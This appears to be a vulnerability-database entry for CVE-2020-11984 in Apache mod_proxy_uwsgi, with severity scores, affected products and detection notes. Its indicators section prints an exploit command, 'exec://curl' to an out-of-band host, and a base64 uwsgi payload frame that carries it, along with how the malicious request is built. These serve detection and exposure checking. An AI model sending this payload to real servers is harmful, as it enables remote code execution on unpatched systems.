cbcvebase.
CVE-2020-11984
published 2020-08-07

CVE-2020-11984: Apache HTTP server 2.4.32 to 2.4.44 mod_proxy_uwsgi info disclosure and possible RCE

PriorityP187critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
90.04%
99.8th percentile
Apache HTTP server 2.4.32 to 2.4.44 mod_proxy_uwsgi info disclosure and possible RCE

Affected

23 ranges
VendorProductVersion rangeFixed in
apachehttp_server2.4.32 – 2.4.43
canonicalubuntu_linux
canonicalubuntu_linux
canonicalubuntu_linux
debianapache2< apache2 2.4.46-1 (bookworm)apache2 2.4.46-1 (bookworm)
debiandebian_linux
debiandebian_linux
debianuwsgi< apache2 2.4.46-1 (bookworm)apache2 2.4.46-1 (bookworm)
fedoraprojectfedora
fedoraprojectfedora
msrccm1_httpd_2.4.46-5_on_cbl_mariner_1.0
opensuseleap
opensuseleap
oraclecommunications_element_manager8.2.0 – 8.2.2
oraclecommunications_session_report_manager8.2.0 – 8.2.2
oraclecommunications_session_route_manager8.2.0 – 8.2.2
oracleenterprise_manager_ops_center
oraclehyperion_infrastructure_technology
oracleinstantis_enterprisetrack
oracleinstantis_enterprisetrack
oracleinstantis_enterprisetrack
oraclezfs_storage_appliance_kit
paloaltopan-os

Detection & IOCsextracted from sources · hover to see the quote

commandexec://curl <oast-host>; echo ""
path/penetrate
otherUWSGI_FILEK (uwsgi protocol header key used in exploit payload)
otherSCRIPT_NAME (uwsgi protocol header key used in exploit payload)
bytes
AHIAAAoAVVdTR0lfRklMRUsAZXhlYzovL2N1cmwgYWFhYWFhYWEuZmw0NGhoY240NHEydWtsdjI5YnB6dTR1amxwY2QzM3JzLm9hc3RpZnkuY29tOyBlY2hvICIiCwBTQ1JJUFRfTkFNRQoAL3BlbmV0cmF0ZQ==
  • Exploit sends a crafted POST request with a binary uwsgi protocol payload in the body to the proxied endpoint. The payload encodes uwsgi headers including UWSGI_FILEK with an exec:// value (RCE vector) and SCRIPT_NAME set to /penetrate. Content-Type is application/x-www-form-urlencoded.
  • Successful RCE can be confirmed via out-of-band HTTP callback containing 'User-Agent: curl', triggered by the exec://curl command embedded in the uwsgi UWSGI_FILEK header.
  • The exploit payload is a 54-byte-padded uwsgi binary frame. Detection should look for oversized or malformed uwsgi protocol frames proxied through mod_proxy_uwsgi, particularly those exceeding 16K of HTTP headers.
  • Vulnerability is only exploitable when mod_proxy_uwsgi is loaded. Presence of 'LoadModule proxy_uwsgi_module modules/mod_proxy_uwsgi.so' in httpd config is a prerequisite for exposure.
  • Affected Apache HTTP Server versions are 2.4.32 through 2.4.44. Shodan/asset-inventory query: cpe:"cpe:2.3:a:apache:http_server" can help identify exposed instances.
  • ·Vulnerability only affects Apache HTTP Server configurations that use the uwsgi protocol via mod_proxy_uwsgi. Systems not using this module are not affected.
  • ·Red Hat Enterprise Linux 5, 6, and 7 ship versions of httpd that are not affected by this CVE.
  • ·On Ubuntu, the CVE-2020-11984 impact (large header mishandling in mod_proxy_uwsgi) only affected Ubuntu 20.04 LTS.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
osv9.8CRITICAL
vulncheck9.8CRITICAL
vendor_debian9.8CRITICAL
vendor_msrc9.8CRITICAL
vendor_oracle9.8CRITICAL
vendor_redhat9.8CRITICAL
vendor_ubuntu9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.